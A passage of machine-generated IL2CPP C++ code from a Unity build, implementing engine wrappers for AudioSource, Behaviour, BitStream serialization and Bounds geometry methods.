(AudioSource_t1135106623 * __this, bool ___value0, const MethodInfo* method) { typedef void (*AudioSource_set_loop_m313035616_ftn) (AudioSource_t1135106623 *, bool); static AudioSource_set_loop_m313035616_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AudioSource_set_loop_m313035616_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AudioSource::set_loop(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.Behaviour::.ctor() extern "C" void Behaviour__ctor_m2699265412 (Behaviour_t955675639 * __this, const MethodInfo* method) { { Component__ctor_m205306948(__this, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.Behaviour::get_enabled() extern "C" bool Behaviour_get_enabled_m4079055610 (Behaviour_t955675639 * __this, const MethodInfo* method) { typedef bool (*Behaviour_get_enabled_m4079055610_ftn) (Behaviour_t955675639 *); static Behaviour_get_enabled_m4079055610_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Behaviour_get_enabled_m4079055610_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Behaviour::get_enabled()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.Behaviour::set_enabled(System.Boolean) extern "C" void Behaviour_set_enabled_m1796096907 (Behaviour_t955675639 * __this, bool ___value0, const MethodInfo* method) { typedef void (*Behaviour_set_enabled_m1796096907_ftn) (Behaviour_t955675639 *, bool); static Behaviour_set_enabled_m1796096907_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Behaviour_set_enabled_m1796096907_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Behaviour::set_enabled(System.Boolean)"); _il2cpp_icall_func(__this, ___value0); } // System.Boolean UnityEngine.Behaviour::get_isActiveAndEnabled() extern "C" bool Behaviour_get_isActiveAndEnabled_m3838334305 (Behaviour_t955675639 * __this, const MethodInfo* method) { typedef bool (*Behaviour_get_isActiveAndEnabled_m3838334305_ftn) (Behaviour_t955675639 *); static Behaviour_get_isActiveAndEnabled_m3838334305_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Behaviour_get_isActiveAndEnabled_m3838334305_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Behaviour::get_isActiveAndEnabled()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.BitStream::.ctor() extern "C" void BitStream__ctor_m3947899936 (BitStream_t1979465639 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serializeb(System.Int32&) extern "C" void BitStream_Serializeb_m2728727597 (BitStream_t1979465639 * __this, int32_t* ___value0, const MethodInfo* method) { typedef void (*BitStream_Serializeb_m2728727597_ftn) (BitStream_t1979465639 *, int32_t*); static BitStream_Serializeb_m2728727597_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serializeb_m2728727597_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serializeb(System.Int32&)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.BitStream::Serializec(System.Char&) extern "C" void BitStream_Serializec_m2418807390 (BitStream_t1979465639 * __this, Il2CppChar* ___value0, const MethodInfo* method) { typedef void (*BitStream_Serializec_m2418807390_ftn) (BitStream_t1979465639 *, Il2CppChar*); static BitStream_Serializec_m2418807390_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serializec_m2418807390_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serializec(System.Char&)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.BitStream::Serializes(System.Int16&) extern "C" void BitStream_Serializes_m1379945554 (BitStream_t1979465639 * __this, int16_t* ___value0, const MethodInfo* method) { typedef void (*BitStream_Serializes_m1379945554_ftn) (BitStream_t1979465639 *, int16_t*); static BitStream_Serializes_m1379945554_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serializes_m1379945554_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serializes(System.Int16&)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.BitStream::Serializei(System.Int32&) extern "C" void BitStream_Serializei_m1463666006 (BitStream_t1979465639 * __this, int32_t* ___value0, const MethodInfo* method) { typedef void (*BitStream_Serializei_m1463666006_ftn) (BitStream_t1979465639 *, int32_t*); static BitStream_Serializei_m1463666006_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serializei_m1463666006_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serializei(System.Int32&)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.BitStream::Serializef(System.Single&,System.Single) extern "C" void BitStream_Serializef_m745934178 (BitStream_t1979465639 * __this, float* ___value0, float ___maximumDelta1, const MethodInfo* method) { typedef void (*BitStream_Serializef_m745934178_ftn) (BitStream_t1979465639 *, float*, float); static BitStream_Serializef_m745934178_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serializef_m745934178_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serializef(System.Single&,System.Single)"); _il2cpp_icall_func(__this, ___value0, ___maximumDelta1); } // System.Void UnityEngine.BitStream::Serializeq(UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_Serializeq_m4825889 (BitStream_t1979465639 * __this, Quaternion_t4030073918 * ___value0, float ___maximumDelta1, const MethodInfo* method) { { Quaternion_t4030073918 * L_0 = ___value0; float L_1 = ___maximumDelta1; BitStream_INTERNAL_CALL_Serializeq_m2945252026(NULL /*static, unused*/, __this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializeq(UnityEngine.BitStream,UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_INTERNAL_CALL_Serializeq_m2945252026 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, Quaternion_t4030073918 * ___value1, float ___maximumDelta2, const MethodInfo* method) { typedef void (*BitStream_INTERNAL_CALL_Serializeq_m2945252026_ftn) (BitStream_t1979465639 *, Quaternion_t4030073918 *, float); static BitStream_INTERNAL_CALL_Serializeq_m2945252026_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_INTERNAL_CALL_Serializeq_m2945252026_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::INTERNAL_CALL_Serializeq(UnityEngine.BitStream,UnityEngine.Quaternion&,System.Single)"); _il2cpp_icall_func(___self0, ___value1, ___maximumDelta2); } // System.Void UnityEngine.BitStream::Serializev(UnityEngine.Vector3&,System.Single) extern "C" void BitStream_Serializev_m2025246298 (BitStream_t1979465639 * __this, Vector3_t2243707580 * ___value0, float ___maximumDelta1, const MethodInfo* method) { { Vector3_t2243707580 * L_0 = ___value0; float L_1 = ___maximumDelta1; BitStream_INTERNAL_CALL_Serializev_m928884041(NULL /*static, unused*/, __this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializev(UnityEngine.BitStream,UnityEngine.Vector3&,System.Single) extern "C" void BitStream_INTERNAL_CALL_Serializev_m928884041 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, Vector3_t2243707580 * ___value1, float ___maximumDelta2, const MethodInfo* method) { typedef void (*BitStream_INTERNAL_CALL_Serializev_m928884041_ftn) (BitStream_t1979465639 *, Vector3_t2243707580 *, float); static BitStream_INTERNAL_CALL_Serializev_m928884041_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_INTERNAL_CALL_Serializev_m928884041_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::INTERNAL_CALL_Serializev(UnityEngine.BitStream,UnityEngine.Vector3&,System.Single)"); _il2cpp_icall_func(___self0, ___value1, ___maximumDelta2); } // System.Void UnityEngine.BitStream::Serializen(UnityEngine.NetworkViewID&) extern "C" void BitStream_Serializen_m1340978949 (BitStream_t1979465639 * __this, NetworkViewID_t3942988548 * ___viewID0, const MethodInfo* method) { { NetworkViewID_t3942988548 * L_0 = ___viewID0; BitStream_INTERNAL_CALL_Serializen_m1742444286(NULL /*static, unused*/, __this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::INTERNAL_CALL_Serializen(UnityEngine.BitStream,UnityEngine.NetworkViewID&) extern "C" void BitStream_INTERNAL_CALL_Serializen_m1742444286 (Il2CppObject * __this /* static, unused */, BitStream_t1979465639 * ___self0, NetworkViewID_t3942988548 * ___viewID1, const MethodInfo* method) { typedef void (*BitStream_INTERNAL_CALL_Serializen_m1742444286_ftn) (BitStream_t1979465639 *, NetworkViewID_t3942988548 *); static BitStream_INTERNAL_CALL_Serializen_m1742444286_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_INTERNAL_CALL_Serializen_m1742444286_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::INTERNAL_CALL_Serializen(UnityEngine.BitStream,UnityEngine.NetworkViewID&)"); _il2cpp_icall_func(___self0, ___viewID1); } // System.Void UnityEngine.BitStream::Serialize(System.Boolean&) extern "C" void BitStream_Serialize_m390089021 (BitStream_t1979465639 * __this, bool* ___value0, const MethodInfo* method) { int32_t V_0 = 0; int32_t G_B3_0 = 0; bool* G_B5_0 = NULL; bool* G_B4_0 = NULL; int32_t G_B6_0 = 0; bool* G_B6_1 = NULL; { bool* L_0 = ___value0; if (!(*((int8_t*)L_0))) { goto IL_000e; } } { G_B3_0 = 1; goto IL_000f; } IL_000e: { G_B3_0 = 0; } IL_000f: { V_0 = G_B3_0; BitStream_Serializeb_m2728727597(__this, (&V_0), /*hidden argument*/NULL); bool* L_1 = ___value0; int32_t L_2 = V_0; G_B4_0 = L_1; if (L_2) { G_B5_0 = L_1; goto IL_0025; } } { G_B6_0 = 0; G_B6_1 = G_B4_0; goto IL_0026; } IL_0025: { G_B6_0 = 1; G_B6_1 = G_B5_0; } IL_0026: { *((int8_t*)(G_B6_1)) = (int8_t)G_B6_0; return; } } // System.Void UnityEngine.BitStream::Serialize(System.Char&) extern "C" void BitStream_Serialize_m2742111985 (BitStream_t1979465639 * __this, Il2CppChar* ___value0, const MethodInfo* method) { { Il2CppChar* L_0 = ___value0; BitStream_Serializec_m2418807390(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(System.Int16&) extern "C" void BitStream_Serialize_m1625036513 (BitStream_t1979465639 * __this, int16_t* ___value0, const MethodInfo* method) { { int16_t* L_0 = ___value0; BitStream_Serializes_m1379945554(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(System.Int32&) extern "C" void BitStream_Serialize_m3312079847 (BitStream_t1979465639 * __this, int32_t* ___value0, const MethodInfo* method) { { int32_t* L_0 = ___value0; BitStream_Serializei_m1463666006(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(System.Single&) extern "C" void BitStream_Serialize_m2064522995 (BitStream_t1979465639 * __this, float* ___value0, const MethodInfo* method) { float V_0 = 0.0f; { V_0 = (1.0E-05f); float* L_0 = ___value0; float L_1 = V_0; BitStream_Serialize_m622035106(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(System.Single&,System.Single) extern "C" void BitStream_Serialize_m622035106 (BitStream_t1979465639 * __this, float* ___value0, float ___maxDelta1, const MethodInfo* method) { { float* L_0 = ___value0; float L_1 = ___maxDelta1; BitStream_Serializef_m745934178(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Quaternion&) extern "C" void BitStream_Serialize_m2762694425 (BitStream_t1979465639 * __this, Quaternion_t4030073918 * ___value0, const MethodInfo* method) { float V_0 = 0.0f; { V_0 = (1.0E-05f); Quaternion_t4030073918 * L_0 = ___value0; float L_1 = V_0; BitStream_Serialize_m3564943814(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Quaternion&,System.Single) extern "C" void BitStream_Serialize_m3564943814 (BitStream_t1979465639 * __this, Quaternion_t4030073918 * ___value0, float ___maxDelta1, const MethodInfo* method) { { Quaternion_t4030073918 * L_0 = ___value0; float L_1 = ___maxDelta1; BitStream_Serializeq_m4825889(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Vector3&) extern "C" void BitStream_Serialize_m753399111 (BitStream_t1979465639 * __this, Vector3_t2243707580 * ___value0, const MethodInfo* method) { float V_0 = 0.0f; { V_0 = (1.0E-05f); Vector3_t2243707580 * L_0 = ___value0; float L_1 = V_0; BitStream_Serialize_m1992343662(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.Vector3&,System.Single) extern "C" void BitStream_Serialize_m1992343662 (BitStream_t1979465639 * __this, Vector3_t2243707580 * ___value0, float ___maxDelta1, const MethodInfo* method) { { Vector3_t2243707580 * L_0 = ___value0; float L_1 = ___maxDelta1; BitStream_Serializev_m2025246298(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.NetworkPlayer&) extern "C" void BitStream_Serialize_m2844992970 (BitStream_t1979465639 * __this, NetworkPlayer_t1243528291 * ___value0, const MethodInfo* method) { int32_t V_0 = 0; { NetworkPlayer_t1243528291 * L_0 = ___value0; int32_t L_1 = L_0->get_index_0(); V_0 = L_1; BitStream_Serializei_m1463666006(__this, (&V_0), /*hidden argument*/NULL); NetworkPlayer_t1243528291 * L_2 = ___value0; int32_t L_3 = V_0; L_2->set_index_0(L_3); return; } } // System.Void UnityEngine.BitStream::Serialize(UnityEngine.NetworkViewID&) extern "C" void BitStream_Serialize_m2826028759 (BitStream_t1979465639 * __this, NetworkViewID_t3942988548 * ___viewID0, const MethodInfo* method) { { NetworkViewID_t3942988548 * L_0 = ___viewID0; BitStream_Serializen_m1340978949(__this, L_0, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.BitStream::get_isReading() extern "C" bool BitStream_get_isReading_m1625418235 (BitStream_t1979465639 * __this, const MethodInfo* method) { typedef bool (*BitStream_get_isReading_m1625418235_ftn) (BitStream_t1979465639 *); static BitStream_get_isReading_m1625418235_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_get_isReading_m1625418235_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::get_isReading()"); return _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.BitStream::get_isWriting() extern "C" bool BitStream_get_isWriting_m3519823449 (BitStream_t1979465639 * __this, const MethodInfo* method) { typedef bool (*BitStream_get_isWriting_m3519823449_ftn) (BitStream_t1979465639 *); static BitStream_get_isWriting_m3519823449_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_get_isWriting_m3519823449_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::get_isWriting()"); return _il2cpp_icall_func(__this); } // System.Void UnityEngine.BitStream::Serialize(System.String&) extern "C" void BitStream_Serialize_m1778986188 (BitStream_t1979465639 * __this, String_t** ___value0, const MethodInfo* method) { typedef void (*BitStream_Serialize_m1778986188_ftn) (BitStream_t1979465639 *, String_t**); static BitStream_Serialize_m1778986188_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (BitStream_Serialize_m1778986188_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.BitStream::Serialize(System.String&)"); _il2cpp_icall_func(__this, ___value0); } // System.Void UnityEngine.Bounds::.ctor(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" void Bounds__ctor_m1202659404 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___center0, Vector3_t2243707580 ___size1, const MethodInfo* method) { { Vector3_t2243707580 L_0 = ___center0; __this->set_m_Center_0(L_0); Vector3_t2243707580 L_1 = ___size1; Vector3_t2243707580 L_2 = Vector3_op_Multiply_m1351554733(NULL /*static, unused*/, L_1, (0.5f), /*hidden argument*/NULL); __this->set_m_Extents_1(L_2); return; } } extern "C" void Bounds__ctor_m1202659404_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___center0, Vector3_t2243707580 ___size1, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds__ctor_m1202659404(_thisAdjusted, ___center0, ___size1, method); } // System.Int32 UnityEngine.Bounds::GetHashCode() extern "C" int32_t Bounds_GetHashCode_m4284443179 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); Vector3_t2243707580 V_1; memset(&V_1, 0, sizeof(V_1)); int32_t V_2 = 0; { Vector3_t2243707580 L_0 = Bounds_get_center_m129401026(__this, /*hidden argument*/NULL); V_0 = L_0; int32_t L_1 = Vector3_GetHashCode_m1754570744((&V_0), /*hidden argument*/NULL); Vector3_t2243707580 L_2 = Bounds_get_extents_m4077324178(__this, /*hidden argument*/NULL); V_1 = L_2; int32_t L_3 = Vector3_GetHashCode_m1754570744((&V_1), /*hidden argument*/NULL); V_2 = ((int32_t)((int32_t)L_1^(int32_t)((int32_t)((int32_t)L_3<<(int32_t)2)))); goto IL_0032; } IL_0032: { int32_t L_4 = V_2; return L_4; } } extern "C" int32_t Bounds_GetHashCode_m4284443179_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_GetHashCode_m4284443179(_thisAdjusted, method); } // System.Boolean UnityEngine.Bounds::Equals(System.Object) extern "C" bool Bounds_Equals_m839506137 (Bounds_t3033363703 * __this, Il2CppObject * ___other0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (Bounds_Equals_m839506137_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; Bounds_t3033363703 V_1; memset(&V_1, 0, sizeof(V_1)); Vector3_t2243707580 V_2; memset(&V_2, 0, sizeof(V_2)); Vector3_t2243707580 V_3; memset(&V_3, 0, sizeof(V_3)); int32_t G_B5_0 = 0; { Il2CppObject * L_0 = ___other0; if (((Il2CppObject *)IsInstSealed(L_0, Bounds_t3033363703_il2cpp_TypeInfo_var))) { goto IL_0013; } } { V_0 = (bool)0; goto IL_0068; } IL_0013: { Il2CppObject * L_1 = ___other0; V_1 = ((*(Bounds_t3033363703 *)((Bounds_t3033363703 *)UnBox(L_1, Bounds_t3033363703_il2cpp_TypeInfo_var)))); Vector3_t2243707580 L_2 = Bounds_get_center_m129401026(__this, /*hidden argument*/NULL); V_2 = L_2; Vector3_t2243707580 L_3 = Bounds_get_center_m129401026((&V_1), /*hidden argument*/NULL); Vector3_t2243707580 L_4 = L_3; Il2CppObject * L_5 = Box(Vector3_t2243707580_il2cpp_TypeInfo_var, &L_4); bool L_6 = Vector3_Equals_m2692262876((&V_2), L_5, /*hidden argument*/NULL); if (!L_6) { goto IL_0061; } } { Vector3_t2243707580 L_7 = Bounds_get_extents_m4077324178(__this, /*hidden argument*/NULL); V_3 = L_7; Vector3_t2243707580 L_8 = Bounds_get_extents_m4077324178((&V_1), /*hidden argument*/NULL); Vector3_t2243707580 L_9 = L_8; Il2CppObject * L_10 = Box(Vector3_t2243707580_il2cpp_TypeInfo_var, &L_9); bool L_11 = Vector3_Equals_m2692262876((&V_3), L_10, /*hidden argument*/NULL); G_B5_0 = ((int32_t)(L_11)); goto IL_0062; } IL_0061: { G_B5_0 = 0; } IL_0062: { V_0 = (bool)G_B5_0; goto IL_0068; } IL_0068: { bool L_12 = V_0; return L_12; } } extern "C" bool Bounds_Equals_m839506137_AdjustorThunk (Il2CppObject * __this, Il2CppObject * ___other0, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_Equals_m839506137(_thisAdjusted, ___other0, method); } // UnityEngine.Vector3 UnityEngine.Bounds::get_center() extern "C" Vector3_t2243707580 Bounds_get_center_m129401026 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Center_0(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } extern "C" Vector3_t2243707580 Bounds_get_center_m129401026_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_get_center_m129401026(_thisAdjusted, method); } // System.Void UnityEngine.Bounds::set_center(UnityEngine.Vector3) extern "C" void Bounds_set_center_m2069004927 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { { Vector3_t2243707580 L_0 = ___value0; __this->set_m_Center_0(L_0); return; } } extern "C" void Bounds_set_center_m2069004927_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds_set_center_m2069004927(_thisAdjusted, ___value0, method); } // UnityEngine.Vector3 UnityEngine.Bounds::get_size() extern "C" Vector3_t2243707580 Bounds_get_size_m1728027642 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Extents_1(); Vector3_t2243707580 L_1 = Vector3_op_Multiply_m1351554733(NULL /*static, unused*/, L_0, (2.0f), /*hidden argument*/NULL); V_0 = L_1; goto IL_0017; } IL_0017: { Vector3_t2243707580 L_2 = V_0; return L_2; } } extern "C" Vector3_t2243707580 Bounds_get_size_m1728027642_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_get_size_m1728027642(_thisAdjusted, method); } // System.Void UnityEngine.Bounds::set_size(UnityEngine.Vector3) extern "C" void Bounds_set_size_m3943815629 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { { Vector3_t2243707580 L_0 = ___value0; Vector3_t2243707580 L_1 = Vector3_op_Multiply_m1351554733(NULL /*static, unused*/, L_0, (0.5f), /*hidden argument*/NULL); __this->set_m_Extents_1(L_1); return; } } extern "C" void Bounds_set_size_m3943815629_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds_set_size_m3943815629(_thisAdjusted, ___value0, method); } // UnityEngine.Vector3 UnityEngine.Bounds::get_extents() extern "C" Vector3_t2243707580 Bounds_get_extents_m4077324178 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = __this->get_m_Extents_1(); V_0 = L_0; goto IL_000d; } IL_000d: { Vector3_t2243707580 L_1 = V_0; return L_1; } } extern "C" Vector3_t2243707580 Bounds_get_extents_m4077324178_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_get_extents_m4077324178(_thisAdjusted, method); } // System.Void UnityEngine.Bounds::set_extents(UnityEngine.Vector3) extern "C" void Bounds_set_extents_m2829577033 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { { Vector3_t2243707580 L_0 = ___value0; __this->set_m_Extents_1(L_0); return; } } extern "C" void Bounds_set_extents_m2829577033_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___value0, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds_set_extents_m2829577033(_thisAdjusted, ___value0, method); } // UnityEngine.Vector3 UnityEngine.Bounds::get_min() extern "C" Vector3_t2243707580 Bounds_get_min_m2405290441 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = Bounds_get_center_m129401026(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_1 = Bounds_get_extents_m4077324178(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_2 = Vector3_op_Subtraction_m2407545601(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0018; } IL_0018: { Vector3_t2243707580 L_3 = V_0; return L_3; } } extern "C" Vector3_t2243707580 Bounds_get_min_m2405290441_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_get_min_m2405290441(_thisAdjusted, method); } // UnityEngine.Vector3 UnityEngine.Bounds::get_max() extern "C" Vector3_t2243707580 Bounds_get_max_m4247050707 (Bounds_t3033363703 * __this, const MethodInfo* method) { Vector3_t2243707580 V_0; memset(&V_0, 0, sizeof(V_0)); { Vector3_t2243707580 L_0 = Bounds_get_center_m129401026(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_1 = Bounds_get_extents_m4077324178(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_2 = Vector3_op_Addition_m3146764857(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_0018; } IL_0018: { Vector3_t2243707580 L_3 = V_0; return L_3; } } extern "C" Vector3_t2243707580 Bounds_get_max_m4247050707_AdjustorThunk (Il2CppObject * __this, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); return Bounds_get_max_m4247050707(_thisAdjusted, method); } // System.Boolean UnityEngine.Bounds::op_Equality(UnityEngine.Bounds,UnityEngine.Bounds) extern "C" bool Bounds_op_Equality_m2161830280 (Il2CppObject * __this /* static, unused */, Bounds_t3033363703 ___lhs0, Bounds_t3033363703 ___rhs1, const MethodInfo* method) { bool V_0 = false; int32_t G_B3_0 = 0; { Vector3_t2243707580 L_0 = Bounds_get_center_m129401026((&___lhs0), /*hidden argument*/NULL); Vector3_t2243707580 L_1 = Bounds_get_center_m129401026((&___rhs1), /*hidden argument*/NULL); bool L_2 = Vector3_op_Equality_m305888255(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); if (!L_2) { goto IL_002e; } } { Vector3_t2243707580 L_3 = Bounds_get_extents_m4077324178((&___lhs0), /*hidden argument*/NULL); Vector3_t2243707580 L_4 = Bounds_get_extents_m4077324178((&___rhs1), /*hidden argument*/NULL); bool L_5 = Vector3_op_Equality_m305888255(NULL /*static, unused*/, L_3, L_4, /*hidden argument*/NULL); G_B3_0 = ((int32_t)(L_5)); goto IL_002f; } IL_002e: { G_B3_0 = 0; } IL_002f: { V_0 = (bool)G_B3_0; goto IL_0035; } IL_0035: { bool L_6 = V_0; return L_6; } } // System.Boolean UnityEngine.Bounds::op_Inequality(UnityEngine.Bounds,UnityEngine.Bounds) extern "C" bool Bounds_op_Inequality_m2315096783 (Il2CppObject * __this /* static, unused */, Bounds_t3033363703 ___lhs0, Bounds_t3033363703 ___rhs1, const MethodInfo* method) { bool V_0 = false; { Bounds_t3033363703 L_0 = ___lhs0; Bounds_t3033363703 L_1 = ___rhs1; bool L_2 = Bounds_op_Equality_m2161830280(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); V_0 = (bool)((((int32_t)L_2) == ((int32_t)0))? 1 : 0); goto IL_0011; } IL_0011: { bool L_3 = V_0; return L_3; } } // System.Void UnityEngine.Bounds::SetMinMax(UnityEngine.Vector3,UnityEngine.Vector3) extern "C" void Bounds_SetMinMax_m1523110422 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___min0, Vector3_t2243707580 ___max1, const MethodInfo* method) { { Vector3_t2243707580 L_0 = ___max1; Vector3_t2243707580 L_1 = ___min0; Vector3_t2243707580 L_2 = Vector3_op_Subtraction_m2407545601(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); Vector3_t2243707580 L_3 = Vector3_op_Multiply_m1351554733(NULL /*static, unused*/, L_2, (0.5f), /*hidden argument*/NULL); Bounds_set_extents_m2829577033(__this, L_3, /*hidden argument*/NULL); Vector3_t2243707580 L_4 = ___min0; Vector3_t2243707580 L_5 = Bounds_get_extents_m4077324178(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_6 = Vector3_op_Addition_m3146764857(NULL /*static, unused*/, L_4, L_5, /*hidden argument*/NULL); Bounds_set_center_m2069004927(__this, L_6, /*hidden argument*/NULL); return; } } extern "C" void Bounds_SetMinMax_m1523110422_AdjustorThunk (Il2CppObject * __this, Vector3_t2243707580 ___min0, Vector3_t2243707580 ___max1, const MethodInfo* method) { Bounds_t3033363703 * _thisAdjusted = reinterpret_cast(__this + 1); Bounds_SetMinMax_m1523110422(_thisAdjusted, ___min0, ___max1, method); } // System.Void UnityEngine.Bounds::Encapsulate(UnityEngine.Vector3) extern "C" void Bounds_Encapsulate_m3688171368 (Bounds_t3033363703 * __this, Vector3_t2243707580 ___point0, const MethodInfo* method) { { Vector3_t2243707580 L_0 = Bounds_get_min_m2405290441(__this, /*hidden argument*/NULL); Vector3_t2243707580 L_1 = ___point0; Vector3_t2243707580 L_2 = Vector3_Min_m4249067335(NULL /*static, unused*/, L_0, L_1, /*hidden argument*/NULL); Vector3_t2243707580 L_3 = 